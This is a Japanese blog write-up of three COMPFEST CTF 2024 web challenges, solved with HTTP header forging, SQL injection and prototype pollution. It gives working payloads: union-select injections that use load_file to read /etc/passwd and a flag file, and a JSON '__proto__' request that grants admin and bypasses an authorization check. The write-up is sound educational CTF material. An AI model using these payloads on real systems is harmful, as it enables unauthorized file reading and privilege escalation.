はまやんはまやんはまやん

hamayanhamayan's blog

COMPFEST CTF 2024 Writeup

https://ctftime.org/event/2463

[web] Let's Help John!

ソースコード無し。サイトを巡回して/playを見ると指令が書いてあった。指令に従ってHTTPリクエストヘッダーを色々やる問題。

  • Make sure you are referred by the State Official. Their official web is http://state.com. > Referer: http://state.com
  • Make sure his Cookie quantity is not "Limited". Make it "Unlimited"! -> Cookie: quantity=Unlimited
  • Change your User-Agent to "AgentYessir". -> User-Agent: AgentYessir
  • Great! To make it obvious for John, lets say it's From pinkus@cellmate.com. -> From: pinkus@cellmate.com

これをやるとフラグがもらえる。

[web] Chicken Daddy

ソースコード有り。javascriptで書かれたwebサーバとMySQLサーバが与えられる。フラグはMySQLサーバの/home/redacted/flag.txtに置かれている。redactedとあるのでユーザー名も取得する必要があるのだろう。

SQL Injectionがある

javascriptのサーバー側は非常に簡潔でSQL Injectionできる所がある。

export async function getRecipe(id) {
    const [results] = await conn.query(`SELECT * FROM recipes WHERE id = ${id}`);
    return results;
}

app.get('/', async (req, res) => {
    const id = req.query.id;
    try{
        if (!id) {
            let recipes = await getAllRecipes();
            res.render('index', { recipes: recipes });
        } else {
            let [recipe] = await getRecipe(id);
            if (!recipe) {
                throw new Error('Recipe not found');
            }
            res.render('recipe', { recipe: recipe });
        }
    } catch (err) {
        res.status(404).render('errors/404');
    }
});

コード数も少なく、webアプリはSQL Injectionするためだけの存在なのだろう。recipesテーブルは

CREATE TABLE IF NOT EXISTS recipes (id INT PRIMARY KEY, name TEXT, img_url TEXT, description TEXT, instructions TEXT)

のように構成されていて、埋め込み先のSELECT * FROM recipes WHERE id = ${id}では*でカラムが指定されているので、カラム数は5個である。よって、SQL Injectionのテストのため、idに-1 union select 0,0,0,0,"test string"と入れてみると、test stringが応答として帰ってくることが確認できる。

これは

SELECT * FROM recipes WHERE id = -1 union select 0,0,0,0,"test string"

のように埋め込まれてid=-1は存在しないので、unionで結合された後ろの結果のみが応答として帰ってくるためである。

さて、SQL Injectionが使えることは分かった。だが、今回の問題のミソは、SQL Injectionができる状態でユーザー名特定とファイル読み出しを実現することである。

my.cnfを見てみる

MySQL側でmy.cnfが提供されているデフォルト設定との差を見てみると

secure-file-priv=

のようにsecure-file-privが空になっている。公式ドキュメントを読むと、ファイルの読み書きできる場所を指定するパラメタのようで、これが空の場合は制限がかからずセキュアな設定ではないみたい

つまりはload_fileが使えるということ。いつもの試金石である/etc/passwdで試してみよう。

-1 union select 0,0,0,0,load_file("/etc/passwd")

これをすると色々と出力が出てきた。フラグのパスを特定するにはユーザー名を特定する必要があるが、この情報はまさにこの/etc/passwdからも得られる。ayamCemaniという見慣れぬユーザー名が得られた。ということで、以下でフラグ獲得。

-1 union select 0,0,0,0,load_file("/home/ayamCemani/flag.txt")

[web] SIAK-OG

ソースコード有り。javascriptで書かれたwebサイトが与えられ、本番環境は共有ではなくインスタンサーが用意されていた。ソースコードを見て怪しい所を探す。

フラグの場所は?

フラグはここにある。

courses_list['DSA'] = {
    name: 'DSA',
    available: false,
    taken: false,
    description: fs.readFileSync('flag.txt', 'utf8').trim(),
    cost: 3,
};

...[redacted]...

app.use((req, res, next) => {
    if (req.ip == '127.0.0.1') {
        req.session.admin = true;
    }

    if (!req.session.courses) {
        req.session.courses = courses_list;
    }
    next();
});

...[redacted]...

app.get('/', (req, res) => {
    res.render('index', { courses: req.session.courses });
});

という感じでcourses_listに入っていて、それがsession.coursesに入ってくる。フラグが書いてあるdescriptionが表示されるのでindex.ejsの部分で、

<% Object.keys(courses).forEach( course => { 
    if(courses[course].taken) { %>
    <tr class="<%= courseCount % 2 == 0 ? "bg-lightergray" : "bg-white" %>">
        <% courseCount += 1 %>
        <td><%= courses[course].name %></td>
        <td><%= courses[course].cost %> SKS</td>
        <td><%= courses[course].description %></td>
    </tr>
    <% }
}) %>

ここ。takenがtrueであれば表示されるがフラグのあるDSAのtakenはfalseなので表示できない。

Prototype Pollution

以下にもPrototype Pollution出来そうな部分を見つけた。本番環境がインスタンサーで一人ひとり分けられていることも、この仮定を支持している。

app.use(express.json({ extended: true }));

...[redacted]...

app.post('/api/v1/edit-irs', (req, res) => {
    for (const [key, value] of Object.entries(req.body)) {
        if (!req.session.courses[key]) {
            req.session.courses[key] = JSON.parse(JSON.stringify(dummy));
        }

        for (const [k, v] of Object.entries(value)) {
            if (!req.session.admin && (k === 'available' || req.session.courses[key].available === false)) {
                continue;
            } else {
                req.session.courses[key][k] = v;
            }
        }
    }

    res.send('Successfully updated');
});

json{"__proto__": {"hoge": "fuga"}}のようにするとPrototype Pollution可能。そして、よく見るとこの部分でDSAのtakenをtrueにすることができそうである。だが、これはやってみると失敗する。これは条件のreq.session.courses[key].available === falseに該当するためである。このフィルタリングを回避するには、!req.session.adminをfalseにする必要があるが…これはPrototype Pollutionで可能である!

app.use((req, res, next) => {
    if (req.ip == '127.0.0.1') {
        req.session.admin = true;
    }

    if (!req.session.courses) {
        req.session.courses = courses_list;
    }
    next();
});

このように127.0.0.1からのアクセスであればsessionにadminを追加しているが、最初はadminは未定義になるのでPrototype Pollutionでadminを追加してやればそちらを使わせることが可能である。

フラグ獲得へ

次の流れでフラグを取得していこう。

  1. sessionにadmin=trueを追加する
  2. DSAのtakenをtrueに変更する
  3. GET /でフラグを表示させる

手順1と手順2は1つのリクエストで完結させることができる。セッションを適当に発行した後、以下のようなリクエストを投げよう。

POST /api/v1/edit-irs HTTP/2
Host: [redacted]
Cookie: connect.sid=s%3AxHWllWillyrWZqlK05GIPgZhkuP0Kuut.ARHMvEOgoMhyUIEZSktoLu3SO5wAF1O3UBca2Rwkogs
Content-Length: 54
Content-Type: application/json

{"__proto__": {"admin": true}, "DSA": {"taken": true}}

これにより、最初のループでPrototype Pollutionを起こし、{}['admin']=trueになるようにする。次のループで検証が回避できるようになっているのでDSAのtakenをtrueに変更する。

これでフラグの表示制限が解除されたので、手順3としてGET /にアクセスするとフラグが得られる。